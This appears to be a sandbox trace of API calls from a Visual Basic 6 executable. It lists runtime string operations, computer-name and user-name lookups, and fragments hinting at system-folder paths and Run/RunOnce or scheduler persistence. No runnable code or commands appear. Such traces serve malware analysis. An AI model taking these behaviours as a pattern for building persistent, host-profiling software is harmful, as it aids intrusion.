__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B155
__vbaStrCat.MSVBVM60(00406BFC,00000000), ref: 0040B161
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B16C
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040B179
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B184
#517.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B18B
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B196
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B1A3
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 0040B1BF
__vbaStrMove.MSVBVM60(?), ref: 0040B1EB
__vbaStrCopy.MSVBVM60 ref: 0040B1F8
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040B208
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040B223
__vbaStrMove.MSVBVM60 ref: 0040B22E
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040B23C
__vbaStrMove.MSVBVM60 ref: 0040B247
__vbaStrCat.MSVBVM60(00406BFC,00000000), ref: 0040B253
__vbaStrMove.MSVBVM60 ref: 0040B25E
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040B26C
__vbaStrMove.MSVBVM60 ref: 0040B277
#517.MSVBVM60(00000000), ref: 0040B27E
__vbaStrMove.MSVBVM60 ref: 0040B289
__vbaStrCopy.MSVBVM60 ref: 0040B296
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 0040B2B2
__vbaStrCopy.MSVBVM60 ref: 0040B2CA
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040B2DC
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040B2FC
__vbaStrCat.MSVBVM60(00000000), ref: 0040B303
__vbaStrMove.MSVBVM60 ref: 0040B30E
__vbaStrCopy.MSVBVM60 ref: 0040B31B
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 0040B333
__vbaStrCopy.MSVBVM60 ref: 0040B34B
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040B35D
__vbaStrMove.MSVBVM60 ref: 0040B368
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040B37D
__vbaStrCat.MSVBVM60(00000000), ref: 0040B384
__vbaStrMove.MSVBVM60 ref: 0040B38F
#517.MSVBVM60(00000000), ref: 0040B396
__vbaStrMove.MSVBVM60 ref: 0040B3A1
__vbaStrCopy.MSVBVM60 ref: 0040B3AE
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 0040B3CA
__vbaStrCopy.MSVBVM60 ref: 0040B3E2
__vbaStrMove.MSVBVM60(?), ref: 0040B3F6
__vbaStrCopy.MSVBVM60 ref: 0040B403
__vbaOnError.MSVBVM60(000000FF,00000000), ref: 0040B43C
#669.MSVBVM60 ref: 0040B449
__vbaStrMove.MSVBVM60 ref: 0040B454
__vbaStrCopy.MSVBVM60 ref: 0040B461
__vbaFreeStr.MSVBVM60 ref: 0040B46A
__vbaStrCopy.MSVBVM60 ref: 0040B483
__vbaStrCmp.MSVBVM60(00406F10,?), ref: 0040B49C
__vbaStrCat.MSVBVM60( RU,00000000), ref: 0040B4BD
__vbaFreeStr.MSVBVM60(80000002,00000000,00000000,00000000), ref: 0040B4E9
__vbaStrCat.MSVBVM60( RU,00000000), ref: 0040B502
__vbaStrMove.MSVBVM60 ref: 0040B50D
__vbaEnd.MSVBVM60(Function_0002C0D4), ref: 0040B54C
__vbaStrMove.MSVBVM60(?), ref: 0040BA5E
__vbaStrCopy.MSVBVM60 ref: 0040BA6B
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040BA7B
__vbaStrCopy.MSVBVM60 ref: 0040BA93
__vbaStrMove.MSVBVM60(?), ref: 0040BAA7
__vbaStrCopy.MSVBVM60 ref: 0040BAB4
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040BAC4
__vbaStrCopy.MSVBVM60 ref: 0040BADC

Part of subcall function 00429CA0: __vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429DB5

__vbaStrMove.MSVBVM60(0000001C), ref: 0040BAEE
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040BB03
__vbaStrCat.MSVBVM60(00000000), ref: 0040BB0A
__vbaStrMove.MSVBVM60 ref: 0040BB15
__vbaStrCopy.MSVBVM60 ref: 0040BB22
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 0040BB3A
__vbaStrMove.MSVBVM60(00000026), ref: 0040BB56
__vbaStrCopy.MSVBVM60 ref: 0040BB63
__vbaFreeStr.MSVBVM60 ref: 0040BB6C
__vbaStrCopy.MSVBVM60 ref: 0040BB81
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040BB93
__vbaStrMove.MSVBVM60 ref: 0040BB9E
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040BBB3
__vbaStrCat.MSVBVM60(00000000), ref: 0040BBBA
__vbaStrMove.MSVBVM60 ref: 0040BBC5
#517.MSVBVM60(00000000), ref: 0040BBCC
__vbaStrMove.MSVBVM60 ref: 0040BBD7
__vbaStrCopy.MSVBVM60 ref: 0040BBE4
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 0040BC00
__vbaStrCopy.MSVBVM60 ref: 0040BC18
__vbaStrMove.MSVBVM60(0000001A), ref: 0040BC2A
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040BC3F
__vbaStrCat.MSVBVM60(00000000), ref: 0040BC46
__vbaStrMove.MSVBVM60 ref: 0040BC51
__vbaStrCopy.MSVBVM60 ref: 0040BC5E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 0040BC76

Part of subcall function 0041E880: __vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,?,0040BC8B), ref: 0041E89E
Part of subcall function 0041E880: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041E8CE
Part of subcall function 0041E880: #525.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041E8E0
Part of subcall function 0041E880: __vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E8EB
Part of subcall function 0041E880: __vbaLenBstr.MSVBVM60(?,?,?,?,00000000,Function_000032B6), ref: 0041E8FC
Part of subcall function 0041E880: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,Function_000032B6), ref: 0041E911
Part of subcall function 0041E880: GetComputerNameA.KERNEL32(00000000), ref: 0041E91D
Part of subcall function 0041E880: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 0041E92B
Part of subcall function 0041E880: __vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E934
Part of subcall function 0041E880: #537.MSVBVM60(00000000,?,00000001,?,?,?,00000000,Function_000032B6), ref: 0041E949
Part of subcall function 0041E880: __vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E954
Part of subcall function 0041E880: __vbaInStr.MSVBVM60(00000000,00000000,?,?,?,00000000,Function_000032B6), ref: 0041E95D
Part of subcall function 0041E880: #616.MSVBVM60(?,-00000001,?,?,?,00000000,Function_000032B6), ref: 0041E96D
Part of subcall function 0041E880: __vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E978
Part of subcall function 0041E880: __vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041E981
Part of subcall function 0041E880: __vbaFreeStr.MSVBVM60(0041E9B5,?,?,?,00000000,Function_000032B6), ref: 0041E9AE

__vbaStrMove.MSVBVM60 ref: 0040BC90
__vbaStrCopy.MSVBVM60 ref: 0040BC9D
__vbaFreeStr.MSVBVM60 ref: 0040BCA6

Part of subcall function 0041E9D0: __vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0041E9EE
Part of subcall function 0041E9D0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041EA1E
Part of subcall function 0041E9D0: #525.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041EA30
Part of subcall function 0041E9D0: __vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EA3B
Part of subcall function 0041E9D0: __vbaLenBstr.MSVBVM60(?,?,?,?,00000000,Function_000032B6), ref: 0041EA4C
Part of subcall function 0041E9D0: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,Function_000032B6), ref: 0041EA61
Part of subcall function 0041E9D0: GetUserNameA.ADVAPI32(00000000), ref: 0041EA6D
Part of subcall function 0041E9D0: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 0041EA7B
Part of subcall function 0041E9D0: __vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EA84
Part of subcall function 0041E9D0: #537.MSVBVM60(00000000,?,00000001,?,?,?,00000000,Function_000032B6), ref: 0041EA99
Part of subcall function 0041E9D0: __vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EAA4
Part of subcall function 0041E9D0: __vbaInStr.MSVBVM60(00000000,00000000,?,?,?,00000000,Function_000032B6), ref: 0041EAAD
Part of subcall function 0041E9D0: #616.MSVBVM60(?,-00000001,?,?,?,00000000,Function_000032B6), ref: 0041EABD
Part of subcall function 0041E9D0: __vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EAC8
Part of subcall function 0041E9D0: __vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EAD1
Part of subcall function 0041E9D0: __vbaFreeStr.MSVBVM60(0041EB05,?,?,?,00000000,Function_000032B6), ref: 0041EAFE

__vbaStrMove.MSVBVM60 ref: 0040BCBD
__vbaStrCopy.MSVBVM60 ref: 0040BCCA
__vbaFreeStr.MSVBVM60 ref: 0040BCD3
__vbaStrCmp.MSVBVM60(00000000,00000000), ref: 0040BCEE
#580.MSVBVM60(00000000,00000027,00000000,00000000,0042C0E4,00000000), ref: 0040BD61
__vbaStrCat.MSVBVM60( SE,00000000,00000000), ref: 0040BD7A
#600.MSVBVM60(00000008,00000000), ref: 0040BD90
__vbaFreeVar.MSVBVM60 ref: 0040BD9F
__vbaSetSystemError.MSVBVM60 ref: 0040BDC1
__vbaStrCopy.MSVBVM60 ref: 0040BDD6
__vbaStrMove.MSVBVM60(?), ref: 0040BDEA
__vbaStrCopy.MSVBVM60 ref: 0040BDF7
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040BE07
__vbaStrCopy.MSVBVM60 ref: 0040BE1F
__vbaStrMove.MSVBVM60(?), ref: 0040BE33
__vbaStrCopy.MSVBVM60 ref: 0040BE40
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040BE50
__vbaStrCopy.MSVBVM60 ref: 0040BE68
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040BE7A
__vbaStrMove.MSVBVM60 ref: 0040BE85
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040BE9A
__vbaStrCat.MSVBVM60(00000000), ref: 0040BEA1
__vbaStrMove.MSVBVM60 ref: 0040BEAC
__vbaStrCopy.MSVBVM60 ref: 0040BEB9
__vbaStrCopy.MSVBVM60 ref: 0040BEE9
__vbaStrCat.MSVBVM60(system32\drivers\,00000000), ref: 0040BEFB
__vbaStrMove.MSVBVM60 ref: 0040BF06
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040BF1B
__vbaStrCat.MSVBVM60(00000000), ref: 0040BF22
__vbaStrMove.MSVBVM60 ref: 0040BF2D
__vbaStrCopy.MSVBVM60 ref: 0040BF3A
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 0040BF52

Part of subcall function 00415EC0: __vbaSetSystemError.MSVBVM60(6D16D8B1,6D15A323,00000000), ref: 00415F0F
Part of subcall function 00415EC0: __vbaNew2.MSVBVM60(00406520,0042CC34,6D16D8B1,6D15A323,00000000), ref: 00415F27
Part of subcall function 00415EC0: __vbaHresultCheckObj.MSVBVM60(00000000,00000000,00406510,00000014), ref: 00415F4C
Part of subcall function 00415EC0: __vbaHresultCheckObj.MSVBVM60(00000000,?,00406530,00000100), ref: 00415F76
Part of subcall function 00415EC0: __vbaSetSystemError.MSVBVM60(0000000D,00416130,?,00000000), ref: 00415F8F
Part of subcall function 00415EC0: __vbaFreeObj.MSVBVM60 ref: 00415F9E

Part of subcall function 00416000: __vbaNew2.MSVBVM60(00406520,0042CC34,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00416050
Part of subcall function 00416000: __vbaHresultCheckObj.MSVBVM60(00000000,00000000,00406510,00000014,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00416075
Part of subcall function 00416000: __vbaHresultCheckObj.MSVBVM60(00000000,?,00406530,00000100,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 0041609F
Part of subcall function 00416000: __vbaSetSystemError.MSVBVM60(0000000E,00417A20,?,00000000,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 004160B8
Part of subcall function 00416000: __vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 004160C7

__vbaObjSet.MSVBVM60(?,00000000), ref: 0040BF8E
__vbaHresultCheckObj.MSVBVM60(00000000,?,00407978,0000005C), ref: 0040BFD4
__vbaFreeObj.MSVBVM60 ref: 0040BFEF
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040C008
__vbaStrMove.MSVBVM60 ref: 0040C013
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040C021
__vbaStrMove.MSVBVM60 ref: 0040C02C
__vbaStrCat.MSVBVM60(00406BFC,00000000), ref: 0040C038
__vbaStrMove.MSVBVM60 ref: 0040C043
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040C050
__vbaStrMove.MSVBVM60 ref: 0040C05B
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,00000000), ref: 0040C088
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040C0B2
__vbaStrMove.MSVBVM60 ref: 0040C0BD
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040C0CB
__vbaStrMove.MSVBVM60 ref: 0040C0D6
__vbaStrCat.MSVBVM60(00406BFC,00000000), ref: 0040C0E2
__vbaStrMove.MSVBVM60 ref: 0040C0ED
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040C0FB
#600.MSVBVM60(?,00000002), ref: 0040C111
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 0040C12B
__vbaFreeVar.MSVBVM60 ref: 0040C137
__vbaStrMove.MSVBVM60(?), ref: 0040C2F3
__vbaStrCopy.MSVBVM60 ref: 0040C300
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040C310
__vbaStrMove.MSVBVM60(0000001C), ref: 0040C32C
__vbaStrCopy.MSVBVM60 ref: 0040C339
__vbaFreeStr.MSVBVM60 ref: 0040C342
__vbaStrCopy.MSVBVM60 ref: 0040C357
__vbaStrMove.MSVBVM60(?), ref: 0040C36B
__vbaStrCopy.MSVBVM60 ref: 0040C378
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040C388
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040C3A5
__vbaStrMove.MSVBVM60 ref: 0040C3B0
__vbaStrCopy.MSVBVM60 ref: 0040C3BD
__vbaFreeStr.MSVBVM60 ref: 0040C3C6
__vbaStrCopy.MSVBVM60 ref: 0040C3DB
__vbaStrMove.MSVBVM60(?), ref: 0040C3EF
__vbaStrCopy.MSVBVM60 ref: 0040C3FC
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040C40C
__vbaLenBstr.MSVBVM60(00000000), ref: 0040C423
#616.MSVBVM60(00000000,-00000001), ref: 0040C439
__vbaStrMove.MSVBVM60 ref: 0040C444
__vbaStrCopy.MSVBVM60 ref: 0040C451
__vbaFreeStr.MSVBVM60 ref: 0040C45A
#709.MSVBVM60(00000000,00406544,000000FF,00000000), ref: 0040C477
#631.MSVBVM60(00000000,?,0000000A), ref: 0040C4AC
__vbaStrMove.MSVBVM60 ref: 0040C4B7
__vbaStrCopy.MSVBVM60 ref: 0040C4C4
__vbaFreeStr.MSVBVM60 ref: 0040C4CD
__vbaFreeVar.MSVBVM60 ref: 0040C4D6
#611.MSVBVM60 ref: 0040C4E3
#661.MSVBVM60(?,00407C78,00000000,40000000,00000008), ref: 0040C507
#705.MSVBVM60(?,00000004), ref: 0040C513
__vbaStrMove.MSVBVM60 ref: 0040C51E
__vbaStrMove.MSVBVM60(at ), ref: 0040C542
__vbaStrCat.MSVBVM60(00000000), ref: 0040C549
__vbaStrMove.MSVBVM60 ref: 0040C554
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040C561
__vbaStrMove.MSVBVM60 ref: 0040C56C
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040C57A
#600.MSVBVM60(00000008,00000000), ref: 0040C590
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,00000000), ref: 0040C5AE
__vbaFreeVarList.MSVBVM60(00000003,00000008,?,00000008), ref: 0040C5C5
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040C5E9
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00407978,0000005C), ref: 0040C62F
__vbaFreeObj.MSVBVM60 ref: 0040C64A
__vbaStrCopy.MSVBVM60 ref: 0040C664
__vbaStrMove.MSVBVM60(?), ref: 0040C678
__vbaStrCopy.MSVBVM60 ref: 0040C686
__vbaStrMove.MSVBVM60(?), ref: 0040C69A
__vbaStrMove.MSVBVM60(00407CC4), ref: 0040C6CE
__vbaStrMove.MSVBVM60(00000000), ref: 0040C6DE
#690.MSVBVM60(00000000,00000000), ref: 0040C6EC
__vbaFreeStrList.MSVBVM60(00000006,?,?,?,?,00000000,00000000), ref: 0040C70C
#537.MSVBVM60(000000A0,00000000), ref: 0040C727
__vbaStrMove.MSVBVM60 ref: 0040C732
__vbaStrCat.MSVBVM60(00000000), ref: 0040C739
__vbaStrMove.MSVBVM60 ref: 0040C744
__vbaStrCat.MSVBVM60(00406BFC,00000000,00000000), ref: 0040C757
__vbaStrMove.MSVBVM60 ref: 0040C762
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040C770
__vbaStrMove.MSVBVM60 ref: 0040C77B

Part of subcall function 004218D0: __vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,0040C78D,00000000,00000000), ref: 004218EE
Part of subcall function 004218D0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0042191B
Part of subcall function 004218D0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00421927
Part of subcall function 004218D0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00421933
Part of subcall function 004218D0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 00421942
Part of subcall function 004218D0: #648.MSVBVM60(0000000A), ref: 00421961
Part of subcall function 004218D0: __vbaFreeVar.MSVBVM60 ref: 00421970
Part of subcall function 004218D0: __vbaI2I4.MSVBVM60(?), ref: 00421984
Part of subcall function 004218D0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 00421992
Part of subcall function 004218D0: __vbaI2I4.MSVBVM60 ref: 004219A2
Part of subcall function 004218D0: #570.MSVBVM60(00000000), ref: 004219A9
Part of subcall function 004218D0: __vbaLenBstr.MSVBVM60(Function_0000545C), ref: 004219B6
Part of subcall function 004218D0: __vbaLenBstr.MSVBVM60(Function_0000545C), ref: 004219ED
Part of subcall function 004218D0: #525.MSVBVM60(00000000), ref: 004219F4
Part of subcall function 004218D0: __vbaStrMove.MSVBVM60 ref: 004219FF
Part of subcall function 004218D0: __vbaI2I4.MSVBVM60 ref: 00421A0F
Part of subcall function 004218D0: __vbaFileSeek.MSVBVM60(00000004,00000000), ref: 00421A1A
Part of subcall function 004218D0: __vbaI2I4.MSVBVM60 ref: 00421A2A
Part of subcall function 004218D0: __vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00421A37
Part of subcall function 004218D0: __vbaStrCopy.MSVBVM60 ref: 00421A4C
Part of subcall function 004218D0: __vbaStrMove.MSVBVM60(?), ref: 00421A60

__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,00000000,00000000), ref: 0040C7A6
__vbaEnd.MSVBVM60 ref: 0040C7C1
#535.MSVBVM60(00000000), ref: 0040C7F1
__vbaStrCat.MSVBVM60(00000000,00407CCC), ref: 0040C81D
__vbaStrMove.MSVBVM60 ref: 0040C828
__vbaStrCat.MSVBVM60(00407CCC,00000000), ref: 0040C834
__vbaStrMove.MSVBVM60 ref: 0040C83F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040C84D
__vbaStrMove.MSVBVM60 ref: 0040C858
__vbaStrCat.MSVBVM60(00407CCC,00000000), ref: 0040C864
__vbaStrMove.MSVBVM60 ref: 0040C86F
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,00000000), ref: 0040C88D
#598.MSVBVM60(Function_0002C0D4), ref: 0040C8AE
#580.MSVBVM60(00000000,00000027), ref: 0040C908
__vbaStrCopy.MSVBVM60(00000000), ref: 0040C91D
__vbaStrMove.MSVBVM60(?), ref: 0040C931
__vbaStrCopy.MSVBVM60 ref: 0040C93F
__vbaStrMove.MSVBVM60(?), ref: 0040C953
__vbaStrMove.MSVBVM60(00407CC4), ref: 0040C987
__vbaStrMove.MSVBVM60(00000000), ref: 0040C997
#690.MSVBVM60(00000000,00000000), ref: 0040C9A4
__vbaFreeStrList.MSVBVM60(00000006,?,?,?,?,00000000,00000000), ref: 0040C9C4
#600.MSVBVM60(00004008,00000000), ref: 0040C9F1
__vbaEnd.MSVBVM60 ref: 0040CA04

Part of subcall function 00429E10: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,0040CBB8,80000002,00000000,00000000), ref: 00429E2E
Part of subcall function 00429E10: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429E5B
Part of subcall function 00429E10: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429E67
Part of subcall function 00429E10: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00429E76
Part of subcall function 00429E10: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 00429E8F
Part of subcall function 00429E10: __vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,00000000,004032B6), ref: 00429E9F
Part of subcall function 00429E10: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 00429EAD
Part of subcall function 00429E10: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429EB6
Part of subcall function 00429E10: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 00429ECB
Part of subcall function 00429E10: __vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429EDB
Part of subcall function 00429E10: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 00429EE9
Part of subcall function 00429E10: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429EF2
Part of subcall function 00429E10: __vbaSetSystemError.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00429F08
Part of subcall function 00429E10: __vbaFreeStr.MSVBVM60(00429F32,?,?,?,00000000,004032B6), ref: 00429F22
Part of subcall function 00429E10: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429F2B

#580.MSVBVM60(00000000,00000027), ref: 0040CA1A
__vbaStrCat.MSVBVM60( RO,00000000), ref: 0040CA32
__vbaStrMove.MSVBVM60 ref: 0040CA3D
__vbaStrCat.MSVBVM60(Once,00000000,00000000,00000000), ref: 0040CA57
__vbaStrMove.MSVBVM60 ref: 0040CA62
__vbaFreeStrList.MSVBVM60(00000002,?,?,80000002,00000000), ref: 0040CA7D
__vbaStrCat.MSVBVM60( RO,00000000), ref: 0040CA99
__vbaStrMove.MSVBVM60 ref: 0040CAA4
__vbaStrCat.MSVBVM60(Once,00000000,00000000,00000000), ref: 0040CABD
__vbaStrMove.MSVBVM60 ref: 0040CAC8
__vbaFreeStrList.MSVBVM60(00000002,?,?,80000002,00000000), ref: 0040CAE3
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 0040BED1

Part of subcall function 00415AF0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,0040CB29,0042C0F4,00000000,0042C0D4), ref: 00415B0E
Part of subcall function 00415AF0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00415B3E
Part of subcall function 00415AF0: #580.MSVBVM60(00000000,00000000,00000000,?,?,?,00000000,004032B6), ref: 00415B6A
Part of subcall function 00415AF0: #529.MSVBVM60(00004008), ref: 00415B88

Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60(6D256537,00000000,00000000), ref: 00425A0A
Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60 ref: 00425A12
Part of subcall function 004259A0: __vbaOnError.MSVBVM60(00000001), ref: 00425A16
Part of subcall function 004259A0: #648.MSVBVM60(0000000A), ref: 00425A2E
Part of subcall function 004259A0: __vbaFreeVar.MSVBVM60 ref: 00425A3D
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60(?), ref: 00425A4F
Part of subcall function 004259A0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 00425A59
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60 ref: 00425A61
Part of subcall function 004259A0: #570.MSVBVM60(00000000), ref: 00425A64
Part of subcall function 004259A0: __vbaLenBstr.MSVBVM60(0040545C), ref: 00425A74
Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60 ref: 00425A93
Part of subcall function 004259A0: __vbaStrMove.MSVBVM60(?), ref: 00425AA9
Part of subcall function 004259A0: __vbaFreeStr.MSVBVM60 ref: 00425AAE
Part of subcall function 004259A0: __vbaLenBstr.MSVBVM60(0040545C), ref: 00425AC2
Part of subcall function 004259A0: #525.MSVBVM60(00000000), ref: 00425AC9
Part of subcall function 004259A0: __vbaStrMove.MSVBVM60 ref: 00425AD4
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60 ref: 00425AD9
Part of subcall function 004259A0: __vbaGet4.MSVBVM60(00000000,?,-00000001,00000000), ref: 00425AE3

__vbaStrCmp.MSVBVM60(00000000,00000000), ref: 0040C157
#580.MSVBVM60(00000000,00000027,00000000,00000000,0042C0E4,00000000), ref: 0040C1B9
__vbaStrCat.MSVBVM60( PR,00000000,00000000), ref: 0040C1D2
#600.MSVBVM60(00000008,00000000), ref: 0040C1E8
__vbaFreeVar.MSVBVM60 ref: 0040C1F7
__vbaNew.MSVBVM60(004075DC), ref: 0040C209
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040C214
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406330,00000730), ref: 0040C250
__vbaFreeObj.MSVBVM60 ref: 0040C26B
__vbaStrCopy.MSVBVM60 ref: 0040C296
__vbaStrMove.MSVBVM60(?), ref: 0040C2AA
__vbaStrCopy.MSVBVM60 ref: 0040C2B7
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040C2C7
__vbaStrCopy.MSVBVM60 ref: 0040C2DF

Part of subcall function 004228E0: __vbaStrMove.MSVBVM60 ref: 00422A8B
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(?,00000000), ref: 00422AA0
Part of subcall function 004228E0: __vbaStrCmp.MSVBVM60(00000000), ref: 00422AA7
Part of subcall function 004228E0: __vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,00000000), ref: 00422ACE
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(?), ref: 00422AF4
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(00000004), ref: 00422B15
Part of subcall function 004228E0: #618.MSVBVM60(00000000), ref: 00422B1C
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60 ref: 00422B27
Part of subcall function 004228E0: __vbaI4Str.MSVBVM60(00000000), ref: 00422B2E
Part of subcall function 004228E0: __vbaFreeStrList.MSVBVM60(00000003,?,?,00000000), ref: 00422B45
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 00422B78
Part of subcall function 004228E0: __vbaFileClose.MSVBVM60(00000000), ref: 00422B7F
Part of subcall function 004228E0: __vbaFreeStr.MSVBVM60(00422BC8), ref: 00422BB8
Part of subcall function 004228E0: __vbaFreeStr.MSVBVM60 ref: 00422BC1

__vbaFreeStr.MSVBVM60(80000002,00000000,00000000,00000000), ref: 0040B52E

Part of subcall function 004296C0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,?,0040CAFD,0042C0D4), ref: 004296DE
Part of subcall function 004296C0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042970E
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429723
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 0042973D
